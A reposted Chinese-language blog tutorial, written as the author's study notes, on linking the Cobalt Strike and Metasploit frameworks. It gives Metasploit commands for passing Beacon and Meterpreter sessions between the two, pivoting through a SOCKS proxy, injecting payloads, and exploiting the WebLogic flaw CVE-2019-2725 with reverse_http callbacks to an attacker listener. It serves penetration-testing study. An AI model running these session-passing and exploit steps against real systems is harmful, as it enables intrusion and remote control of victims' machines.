首頁  >  文章  >  運維  >  CobaltStrike和Metasploit連動的範例分析

CobaltStrike和Metasploit連動的範例分析

WBOY
WBOY轉載
2023-05-15 18:58:111125瀏覽

認準Ms08067

個人覺得CobaltStrike圖形化的介面和豐富的功能,是一個超強的後滲透框架,尤其是方便管理橫向在移動過程中蒐集到的各種資料和shell,但是對於漏洞利用、初始突破就顯得十分乏力;另一邊Metasploit作為漏洞利用框架,EXP及其順滑,各種各樣的模組,包含掃描、突破、拓展一條龍服務,但是對於多個shell的管理就顯得有些乏力了(畢竟沒有圖形化介面,命令太多記不住)。於是,如何將兩個框架有效的連結起來,就成為了今天想要學習的知識。

一、利用CS為MSF服務

利用CS的Beacon給MSF派生一個shell,執行後續的滲透任務:

在MSF中設定監聽

# 配置监听器msf> use exploit/multi/handler# 选择payloadmsf> windows/meterpreter/reverse_httpmsf> set lhost IPmsf> set lport port# 启动监听器msf> set ExitOnSession Falsemsf> run -jz

在CS中建立一個外部監聽器Foreign HTTP (或Foreign HTTPS )

CobaltStrike和Metasploit連動的範例分析

選擇想要衍生的目標,右鍵選擇spawn 功能,選擇剛建立的監聽器,即可在MSF中接收到回連。

利用CS為MSF提供轉送或代理功能,進行後續的探測與漏洞利用:

利用Beacon建立socks 代理程式:

在Beacon中輸入socks 監聽端口,或右鍵想要作為轉送的目標,在pivoting中選擇SOCKS Server ,配置監聽端口後點擊
launch 啟動。

CobaltStrike和Metasploit連動的範例分析

在view -> Proxy Pivots 中可以看到建立的轉發器,點擊Tunnel即可獲得MSF的轉發命令CobaltStrike和Metasploit連動的範例分析

##複製到MSF中,設定代理與載重類型

以CVE-2019-2725為測試標靶機

#设置代理 msf> setg Proxies socks4:127.0.0.1:36725
#配置payload,因为是隔离网段的主机,无法直接反连回MSF,所以需要换成被动连接的bind类型载荷
msf> set payload windows/meterpreter/bind_tcp
msf> run

CobaltStrike和Metasploit連動的範例分析

##二、

MSF為CS服務#主要是使用MSF框架的EXP取得CS的Beacon

取得了一個指令執行Shell:

這是最簡單的情況,也是最常見的情況,並不是所有的EXP都能反彈一個Meterpreter會話回來。

在CS中利用Attacks -> Web Drive-by -> Scripted Web Delivery 來部署一個Payload分發站點:

配置監聽器和URL路徑,啟動後會彈出對應的指令提示


CobaltStrike和Metasploit連動的範例分析複製指令後,直接在MSF 的shell中執行即可

CobaltStrike和Metasploit連動的範例分析指令執行後MSF的會話會卡住,可以直接kill掉,不影響CS會話

取得了一個Meterpreter會話:

#獲得meterpreter會話後,利用MSF注入功能,載入Cs的payload

# 将meterpreter会话挂起
meterpreter> background
# 进入payload_inject模块
msf> use exploit/windows/local/payload_inject
# 根据CS监听器类型选择对应的payload(http或者https)
msf> set payload windows/meterpreter/reverse_http
# 设置回连地址(CS监听器地址)
msf> set LHOST CS_IP
msf> set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf> set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf> set disablepayloadhandler true 
msf> run

CobaltStrike和Metasploit連動的範例分析在過程中發現,這種方法只能注入32位元的payload,如果注入64位元payload會導致目標進程崩潰,無法在64位元程式中註入32位元payload。崩潰原因是:APPCRASH(故障模組StackHash_af76),即使取得system權限、關閉UAC還是不行。如果不設定pid,則會建立一個32位元的notepad.exe進程,成功連線後記得及時遷移CS的會話進程。

直接反彈回CS:

在MSF漏洞利用時直接請求並載入CS的載重,和第二種方法基本上一致(測試漏洞為CVE-2019 -2725)

# 根据CS监听器类型选择对应的payload
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set payload windows/meterpreter/reverse_http 
# 设置回连地址(CS监听器地址) 
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LHOST CS_IP
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set LPORT CS_PORT
# 指定要执行的meterpreter会话
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set session meterpreter会话ID
# 设置MSF不启动监听(不然的话msf会提示执行成功,但没有会话建立,同时CS也不会接收到会话)
msf6 exploit(multi/misc/weblogic_deserialize_asyncresponseservice) > set disablepayloadhandler true

CobaltStrike和Metasploit連動的範例分析

CobaltStrike和Metasploit連動的範例分析#其實和第二種動作是一樣,都是呼叫MSF的模組,設定payload的參數而已。漏洞利用成功後直接透過無視窗 powershell

返回CS會話,目標主機沒有視窗彈出。測試的時候無法載入64位元payload,可能是這個漏洞後會啟動一個32位元的cmd.exe來執行後續指令的原因。

三、

一开始打算是做一篇学习笔记,毕竟好记性不如烂笔头,看过的东西长时间不使用的话可能就忘记了,留下一个备忘录日后查询起来也方便。但是,做到后来就是一个爬坑的过程了,觉得自己好聪明,“这两个载荷名字好像,也没有文章提到,会不会也可联动呀?”,因为网上介绍的方法(中文文章)基本上都是和CS官方2016年发布的指南的是一样的,但是我看目前CS中Listener的种类不止
http和https ,

dns smb tcp

MSF中也有诸如

windows/meterpreter/reverse_tcp_dns
windows/meterpreter/bind_named_pipe 
windows/meterpreter/reverse_tcp

这类看起来很像的payload模块,一番测试下来,也就只有http和https载荷可以接收到另一方回连的会话。果然还是是自己太年轻了,没有人提,确实就是因为它不是这样用的,毕竟两个框架一开始就是独立的,这样成熟的框架之间能有联通的方法已经给面子了,一开始就不应该奢求太多的。

以上是CobaltStrike和Metasploit連動的範例分析的詳細內容。更多資訊請關注PHP中文網其他相關文章!

陳述:
本文轉載於:yisu.com。如有侵權,請聯絡admin@php.cn刪除